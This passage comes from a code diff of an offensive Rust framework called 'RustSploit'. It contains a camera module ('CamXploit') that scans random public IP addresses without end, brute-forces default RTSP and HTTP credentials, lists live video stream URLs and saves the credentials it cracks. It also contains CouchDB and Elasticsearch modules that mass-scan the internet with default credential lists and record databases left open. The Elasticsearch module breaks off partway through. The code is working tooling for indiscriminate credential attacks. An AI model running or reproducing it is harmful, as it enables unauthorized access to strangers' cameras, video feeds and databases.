"creds/camxploit/camxploit",
).await;
}
}
}
}
// Test HTTP/HTTPS ports
crate::mprintln!("{}", "\n[🎯] Testing HTTP Basic Auth...".cyan());
for &port in open_ports {
if rtsp_ports.contains(&port) {
continue; // Already tested
}
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, target, port);
// First check if auth is required
if let Ok(resp) = client.get(&url).send().await {
if resp.status() == reqwest::StatusCode::UNAUTHORIZED {
// Try credentials
// First try priority creds
let mut tested = HashSet::new();
for &(user, pass) in &priority_creds {
tested.insert((user, pass));
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
if resp.status().is_success() {
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
url
);
let _ = crate::cred_store::store_credential(
target, port, "http", user, pass,
crate::cred_store::CredType::Password,
"creds/camxploit/camxploit",
).await;
}
}
}
// Then try remaining creds from the full list
for &(user, pass) in all_creds {
if tested.contains(&(user, pass)) { continue; }
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
if resp.status().is_success() {
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
url
);
let _ = crate::cred_store::store_credential(
target, port, "http", user, pass,
crate::cred_store::CredType::Password,
"creds/camxploit/camxploit",
).await;
}
}
}
}
}
}
}
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
let addr = format!("{}:{}", target, port);
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
let request = format!(
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
target, port, auth_str
);
if stream.write_all(request.as_bytes()).await.is_ok() {
let mut buffer = [0u8; 2048];
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buffer)).await {
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("RTSP/1.0 200 OK") {
return true;
}
}
}
}
false
}
// =================================================================================
// STREAM DETECTION
// =================================================================================
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
crate::mprintln!("{}", "\n[🎥] Detecting Live Streams...".cyan());
// Show RTSP links
if !rtsp_ports.is_empty() {
crate::mprintln!("{}", "\n[🎯] RTSP Ports Found - Potential RTSP URLs:".bright_cyan());
let common_paths = [
"/",
"/live.sdp",
"/h264.sdp",
"/stream1",
"/Streaming/Channels/1",
"/Streaming/Channels/101",
"/cam/realmonitor",
"/live/ch00_0",
"/livestream",
"/axis-media/media.amp"
];
for &port in rtsp_ports {
for path in common_paths {
crate::mprintln!(" 🎥 RTSP: rtsp://{}:{}{}", target, port, path);
}
}
crate::mprintln!("{}", " 💡 Tip: Use VLC Media Player (Media -> Open Network Stream) to test these URLs".yellow());
}
// Check HTTP streams on open ports
crate::mprintln!("{}", "\n[🔍] Checking HTTP/HTTPS Streams...".cyan());
let stream_paths = [
"/video",
"/stream",
"/live",
"/mjpg/video.mjpg",
"/snapshot.jpg",
"/videostream.cgi",
"/video.cgi",
"/image.jpg",
"/cgi-bin/mjpeg",
"/axis-cgi/mjpg/video.cgi"
];
let mut found_streams = false;
for &port in open_ports {
let protocol = get_protocol(port);
for path in stream_paths {
let url = format!("{}://{}:{}{}", protocol, target, port, path);
// Use head first
if let Ok(resp) = client.head(&url).send().await {
let status = resp.status();
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED {
let ct = resp.headers().get("content-type")
.and_then(|h| h.to_str().ok())
.unwrap_or("");
if ct.contains("video") || ct.contains("stream") || ct.contains("image") || ct.contains("mjpeg") {
crate::mprintln!(" ✅ Potential Stream: {} (Type: {})", url, ct);
found_streams = true;
} else if status == reqwest::StatusCode::UNAUTHORIZED {
crate::mprintln!(" ⚠️ Protected Stream: {} (Auth Required)", url);
found_streams = true;
}
}
}
}
}
if !found_streams && rtsp_ports.is_empty() {
crate::mprintln!(" {} No live streams detected", "[-]".yellow());
}
}
// =================================================================================
// HELPER FUNCTIONS
// =================================================================================
fn get_default_credentials() -> Vec<(&'static str, &'static str)> {
DEFAULT_CREDENTIALS.to_vec()
}
// =================================================================================
// MASS SCAN FUNCTIONS
// =================================================================================
/// Build parsed exclusion list from EXCLUDED_RANGES
fn build_exclusion_list() -> Vec<ipnetwork::IpNetwork> {
EXCLUDED_RANGES.iter()
.filter_map(|cidr| cidr.parse::<ipnetwork::IpNetwork>().ok())
.collect()
}
/// Check if all open ports are in the ignored services list (SSH/Telnet/RDP)
/// Returns true if the host should be skipped (only non-camera services found)
fn is_only_ignored_services(open_ports: &[u16]) -> bool {
if open_ports.is_empty() {
return true;
}
open_ports.iter().all(|p| IGNORED_SERVICE_PORTS.contains(p))
}
async fn run_mass_scan() -> Result<()> {
crate::mprintln!("{}", "=== MASS SCAN MODE ACTIVATED ===".red().bold().blink());
crate::mprintln!("{}", "WARNING: This will scan random IP addresses indefinitely.".yellow());
crate::mprintln!("{}", "[*] Excluded ranges: bogons, private, reserved, documentation, public DNS".cyan());
crate::mprintln!("{}", "[*] Service filter: hosts with only SSH/Telnet/RDP will be skipped".cyan());
crate::mprintln!();
// Build exclusion list
let exclusions = build_exclusion_list();
crate::mprintln!("{}", format!("[+] Loaded {} IP exclusion ranges", exclusions.len()).green());
// Prompt for thread count
let thread_count = crate::utils::cfg_prompt_int_range("concurrency", "Threads", 200, 1, 5000).await? as usize;
// Prompt for output file
let output_file = crate::utils::cfg_prompt_output_file(
"output_file",
"Output file for discovered cameras",
"camxploit_results.txt",
).await?;
crate::mprintln!("{}", format!(
"[*] Starting mass scan with {} threads... Press Ctrl+C to stop.",
thread_count
).cyan());
crate::mprintln!();
let exclusions = Arc::new(exclusions);
let scanned_count = Arc::new(AtomicU64::new(0));
let found_count = Arc::new(AtomicU64::new(0));
let skipped_service_count = Arc::new(AtomicU64::new(0));
let semaphore = Arc::new(Semaphore::new(thread_count));
let output_file = Arc::new(output_file);
// Progress reporter task (time-based, every 10 seconds)
{
let scanned = scanned_count.clone();
let found = found_count.clone();
let skipped = skipped_service_count.clone();
let start_time = Instant::now();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
let total = scanned.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs().max(1);
let rate = total / elapsed;
crate::mprintln!(
"[*] Progress: {} scanned | {} cameras found | {} skipped (non-camera) | {} IPs/sec",
total,
found.load(Ordering::Relaxed),
skipped.load(Ordering::Relaxed),
rate
);
}
});
}
// Infinite parallel scan loop
loop {
let permit = semaphore.clone().acquire_owned().await
.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let scanned = scanned_count.clone();
let found = found_count.clone();
let skipped = skipped_service_count.clone();
let outfile = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let target = ip.to_string();
// Parallel port scan
let (open_ports, rtsp_ports) = check_ports(&target).await;
scanned.fetch_add(1, Ordering::Relaxed);
if open_ports.is_empty() {
drop(permit);
return;
}
// Service filter: skip if only SSH/Telnet/RDP are open
if is_only_ignored_services(&open_ports) {
skipped.fetch_add(1, Ordering::Relaxed);
drop(permit);
return;
}
crate::mprintln!(
"{}",
format!(
"\n[+] Target: {} - {} open ports (camera-relevant): {:?}",
target,
open_ports.len(),
open_ports
)
.green()
.bold()
);
let client = match create_client() {
Ok(c) => c,
Err(e) => {
crate::meprintln!("Failed to create client: {}", e);
drop(permit);
return;
}
};
// Camera detection & fingerprinting
let is_camera = check_if_camera(&target, &open_ports, &client).await;
check_login_pages(&target, &open_ports, &client).await;
fingerprint_camera(&target, &open_ports, &client).await;
// Credential testing
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
// Stream detection
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
// Record discovered camera
if is_camera || !rtsp_ports.is_empty() {
found.fetch_add(1, Ordering::Relaxed);
// Save to output file
if let Ok(mut file) = std::fs::OpenOptions::new()
.create(true)
.append(true)
.open(outfile.as_str())
{
use std::io::Write;
let _ = writeln!(
file,
"CAMERA: {} | ports: {:?} | rtsp: {:?}",
target, open_ports, rtsp_ports
);
}
}
drop(permit);
});
}
}
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "CamXploit — Camera Discovery & Credential Scanner".to_string(),
description: "Comprehensive IP camera discovery, fingerprinting, and default credential testing across RTSP, HTTP, and HTTPS. Supports Hikvision, Dahua, Axis, CP Plus, Foscam, Vivotek, and generic cameras.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Great,
}
}
+1
View File
@@ -0,0 +1 @@
pub mod camxploit;
@@ -0,0 +1,578 @@
use anyhow::{anyhow, Result};
use colored::*;
use reqwest::ClientBuilder;
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
};
// Constants
const DEFAULT_COUCHDB_PORT: u16 = 5984;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "password"),
("admin", "couchdb"),
("root", "root"),
("admin", ""),
("admin", "123456"),
("couchdb", "couchdb"),
("admin", "admin123"),
("root", "password"),
("root", ""),
];
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "CouchDB Brute Force".to_string(),
description: "Brute-force CouchDB authentication via session cookie and HTTP Basic Auth. \
Tests credentials against the _session endpoint and _all_dbs. Supports default \
credential testing, combo mode, concurrent connections, and subnet/mass scanning."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ CouchDB Brute Force Module ║".cyan()
);
crate::mprintln!(
"{}",
"║ Session & Basic Auth Credential Testing (port 5984) ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!(
"{}",
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
);
let mass_client = Arc::new(
reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(5))
.build()
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
);
return run_mass_scan(
target,
MassScanConfig {
protocol_name: "CouchDB",
default_port: 5984,
state_file: "couchdb_hose_state.log",
default_output: "couchdb_mass_results.txt",
default_concurrency: 200,
},
move |ip, port| {
let client = mass_client.clone();
async move {
let client = &*client;
// Check if port responds with CouchDB welcome JSON
let url = format!("http://{}:{}/", ip, port);
let resp = client.get(&url).send().await.ok()?;
let body = resp.text().await.ok()?;
if !body.contains("couchdb") && !body.contains("CouchDB") {
return None;
}
// Port is open and running CouchDB — try default creds
let creds = [
("admin", "admin"),
("admin", "password"),
("admin", "couchdb"),
("root", "root"),
("admin", ""),
];
for (user, pass) in creds {
let session_url = format!("http://{}:{}/_session", ip, port);
let payload = serde_json::json!({"name": user, "password": pass});
let req = client
.post(&session_url)
.header("Content-Type", "application/json")
.body(payload.to_string());
if let Ok(r) = req.send().await {
if r.status().as_u16() == 200 {
if let Ok(b) = r.text().await {
if b.contains("\"ok\":true") || b.contains("\"ok\": true") {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
{
let id = crate::cred_store::store_credential(
&ip.to_string(),
port,
"couchdb",
user,
pass,
crate::cred_store::CredType::Password,
"creds/generic/couchdb_credcheck",
)
.await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
return Some(format!(
"[{}] {}:{}:{}:{}\n",
ts, ip, port, user, pass
));
}
}
}
}
}
// Check if CouchDB is open (no auth required)
let dbs_url = format!("http://{}:{}/_all_dbs", ip, port);
if let Ok(r) = client.get(&dbs_url).send().await {
if r.status().as_u16() == 200 {
if let Ok(b) = r.text().await {
if b.starts_with('[') {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
return Some(format!(
"[{}] {}:{} CouchDB open (no auth required)\n",
ts, ip, port
));
}
}
}
}
None
}},
)
.await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
let port: u16 = cfg_prompt_port("port", "CouchDB Port", DEFAULT_COUCHDB_PORT).await?;
let usernames_file =
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
if passes.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"couchdb_subnet_results.txt",
)
.await?;
let timeout_secs: u64 = {
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
input.parse::<u64>().unwrap_or(10).max(1).min(300)
};
let timeout_duration = Duration::from_secs(timeout_secs);
return run_subnet_bruteforce(
target,
port,
users,
passes,
&SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "couchdb",
jitter_ms: 50,
source_module: "creds/generic/couchdb_credcheck",
skip_tcp_check: false,
},
move |ip: IpAddr, port: u16, user: String, pass: String| {
let timeout_dur = timeout_duration;
async move {
let base_url = format!("http://{}:{}", ip, port);
match try_couchdb_login(&base_url, &user, &pass, timeout_dur).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
}
}
},
)
.await;
}
// --- Single Target Mode ---
let port: u16 = cfg_prompt_port("port", "CouchDB Port", DEFAULT_COUCHDB_PORT).await?;
// Ask about default credentials
let use_defaults =
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let usernames_file =
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
};
let passwords_file =
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!(
"At least one wordlist or default credentials must be enabled"
));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let connection_timeout: u64 = {
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
input.parse::<u64>().unwrap_or(10).max(1).min(300)
};
let retry_on_error =
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries: usize = if retry_on_error {
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
input.parse::<usize>().unwrap_or(2).max(1).min(10)
} else {
0
};
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(
cfg_prompt_output_file("output_file", "Output file", "couchdb_brute_results.txt")
.await?,
)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let normalized = normalize_target(target)?;
let connect_addr = format!("{}:{}", normalized, port);
crate::mprintln!(
"\n{}",
format!("[*] Starting brute-force on {}", connect_addr).cyan()
);
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} usernames", usernames.len()).green()
);
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} passwords", passwords.len()).green()
);
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!(
"{}",
format!(
"[*] Added {} default credentials",
DEFAULT_CREDENTIALS.len()
)
.green()
);
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let timeout_duration = Duration::from_secs(connection_timeout);
let try_login = move |t: String, p: u16, user: String, pass: String| {
let timeout_dur = timeout_duration;
async move {
let base_url = format!("http://{}:{}", t, p);
match try_couchdb_login(&base_url, &user, &pass, timeout_dur).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
}
}
};
let result = run_bruteforce(
&BruteforceConfig {
target: normalized,
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "couchdb",
jitter_ms: 50,
source_module: "creds/generic/couchdb_credcheck",
},
combos,
try_login,
)
.await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored CouchDB responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no(
"save_unknown_responses",
"Save unknown responses to file?",
true,
)
.await?
{
let default_name = "couchdb_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
)
.await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# CouchDB Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
/// Attempt CouchDB login via session cookie authentication and Basic Auth fallback.
///
/// Primary method: POST to `/_session` with JSON `{"name":"user","password":"pass"}`.
/// A 200 response containing `"ok":true` indicates success.
///
/// Fallback: GET `/_all_dbs` with HTTP Basic Auth to verify access.
///
/// Returns:
/// - `Ok(true)` — authentication succeeded
/// - `Ok(false)` — credentials rejected (401)
/// - `Err(_)` — connection/timeout/protocol error
async fn try_couchdb_login(
base_url: &str,
username: &str,
password: &str,
timeout_duration: Duration,
) -> Result<bool> {
let client = ClientBuilder::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true)
.cookie_store(true)
.timeout(timeout_duration)
.build()
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
// Primary: cookie-based session authentication
let session_url = format!("{}/_session", base_url);
let payload = format!(
"{{\"name\":\"{}\",\"password\":\"{}\"}}",
username.replace('\\', "\\\\").replace('"', "\\\""),
password.replace('\\', "\\\\").replace('"', "\\\""),
);
let session_resp = match tokio::time::timeout(
timeout_duration,
client
.post(&session_url)
.header("Content-Type", "application/json")
.body(payload)
.send(),
)
.await
{
Ok(Ok(resp)) => resp,
Ok(Err(e)) => {
let err_str = e.to_string();
if err_str.contains("Connection refused") || err_str.contains("connect") {
return Err(anyhow!("Connection refused: {}", err_str));
}
return Err(anyhow!("Request error: {}", err_str));
}
Err(_) => return Err(anyhow!("Connection timeout")),
};
let status = session_resp.status().as_u16();
match status {
200 => {
let body = match tokio::time::timeout(timeout_duration, session_resp.text()).await {
Ok(Ok(b)) => b,
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading response")),
};
// CouchDB returns {"ok":true, "name":"admin", "roles":["_admin"]} on success
if body.contains("\"ok\":true") || body.contains("\"ok\": true") {
return Ok(true);
}
// Got 200 but no ok:true — fall through to Basic Auth check
}
401 => return Ok(false),
_ => {
// Non-standard response — fall through to Basic Auth check
}
}
// Fallback: HTTP Basic Auth against _all_dbs
let dbs_url = format!("{}/_all_dbs", base_url);
let dbs_resp = match tokio::time::timeout(
timeout_duration,
client
.get(&dbs_url)
.basic_auth(username, Some(password))
.send(),
)
.await
{
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Basic auth request error: {}", e)),
Err(_) => return Err(anyhow!("Timeout on Basic auth request")),
};
let dbs_status = dbs_resp.status().as_u16();
match dbs_status {
200 => {
let body = match tokio::time::timeout(timeout_duration, dbs_resp.text()).await {
Ok(Ok(b)) => b,
Ok(Err(e)) => return Err(anyhow!("Failed to read _all_dbs response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading _all_dbs response")),
};
// _all_dbs returns a JSON array of database names
if body.starts_with('[') {
Ok(true)
} else {
Ok(false)
}
}
401 => Ok(false),
403 => Ok(false),
_ => Err(anyhow!("Unexpected HTTP status: {}", dbs_status)),
}
}
@@ -0,0 +1,580 @@
use anyhow::{anyhow, Result};
use colored::*;
use reqwest::ClientBuilder;
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
};
// Constants
const DEFAULT_ES_PORT: u16 = 9200;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("elastic", "elastic"),
("elastic", "changeme"),
("admin", "admin"),
("elastic", "password"),
("kibana", "kibana"),
("elastic", ""),
("admin", "password"),
("admin", ""),
("root", "root"),
("logstash_system", "logstash_system"),
];
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Elasticsearch Brute Force".to_string(),
description: "Brute-force Elasticsearch HTTP Basic authentication. Tests credentials \
against the cluster root endpoint and security API. Supports default credential \
testing, combo mode, concurrent connections, and subnet/mass scanning."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ Elasticsearch Brute Force Module ║".cyan()
);
crate::mprintln!(
"{}",
"║ HTTP Basic Auth Credential Testing (port 9200) ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!(
"{}",
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
);
// Build client ONCE and share — avoids OOM from per-host client creation
let mass_client = Arc::new(
reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(5))
.build()
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
);
return run_mass_scan(
target,
MassScanConfig {
protocol_name: "Elasticsearch",
default_port: 9200,
state_file: "elasticsearch_hose_state.log",
default_output: "elasticsearch_mass_results.txt",
default_concurrency: 200,
},
move |ip, port| {
let client = mass_client.clone();
async move {
let client = &*client;
// Check if port responds with Elasticsearch JSON
let url = format!("http://{}:{}/", ip, port);
let resp = client.get(&url).send().await.ok()?;
let body = resp.text().await.ok()?;
if !body.contains("cluster_name") {
return None;
}
// Port is open and running Elasticsearch — try default creds
let creds = [
("elastic", "elastic"),
("elastic", "changeme"),
("admin", "admin"),
("elastic", "password"),
("elastic", ""),
];
for (user, pass) in creds {
let auth_url = format!("http://{}:{}/_security/_authenticate", ip, port);
let req = client.get(&auth_url).basic_auth(user, Some(pass));
if let Ok(r) = req.send().await {
if r.status().as_u16() == 200 {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
{
let id = crate::cred_store::store_credential(
&ip.to_string(),
port,
"elasticsearch",
user,
pass,
crate::cred_store::CredType::Password,
"creds/generic/elasticsearch_credcheck",
)
.await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
return Some(format!(
"[{}] {}:{}:{}:{}\n",
ts, ip, port, user, pass
));
}
}
}
// If none of the creds worked but ES responded, it might be open (no auth)
let check_url = format!("http://{}:{}/", ip, port);
if let Ok(r) = client.get(&check_url).send().await {
if r.status().as_u16() == 200 {
if let Ok(b) = r.text().await {
if b.contains("cluster_name") {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
return Some(format!(
"[{}] {}:{} Elasticsearch open (no auth required)\n",
ts, ip, port
));
}
}
}
}
None
}},
)
.await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
let port: u16 = cfg_prompt_port("port", "Elasticsearch Port", DEFAULT_ES_PORT).await?;
let usernames_file =
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
if passes.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"elasticsearch_subnet_results.txt",
)
.await?;
let timeout_secs: u64 = {
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
input.parse::<u64>().unwrap_or(10).max(1).min(300)
};
let timeout_duration = Duration::from_secs(timeout_secs);
return run_subnet_bruteforce(
target,
port,
users,
passes,
&SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "elasticsearch",
jitter_ms: 50,
source_module: "creds/generic/elasticsearch_credcheck",
skip_tcp_check: false,
},
move |ip: IpAddr, port: u16, user: String, pass: String| {
let timeout_dur = timeout_duration;
async move {
let base_url = format!("http://{}:{}", ip, port);
match try_es_login(&base_url, &user, &pass, timeout_dur).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
}
}
},
)
.await;
}
// --- Single Target Mode ---
let port: u16 = cfg_prompt_port("port", "Elasticsearch Port", DEFAULT_ES_PORT).await?;
// Ask about default credentials
let use_defaults =
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let usernames_file =
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
};
let passwords_file =
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!(
"At least one wordlist or default credentials must be enabled"
));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let connection_timeout: u64 = {
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
input.parse::<u64>().unwrap_or(10).max(1).min(300)
};
let retry_on_error =
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries: usize = if retry_on_error {
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
input.parse::<usize>().unwrap_or(2).max(1).min(10)
} else {
0
};
let stop_on_success =
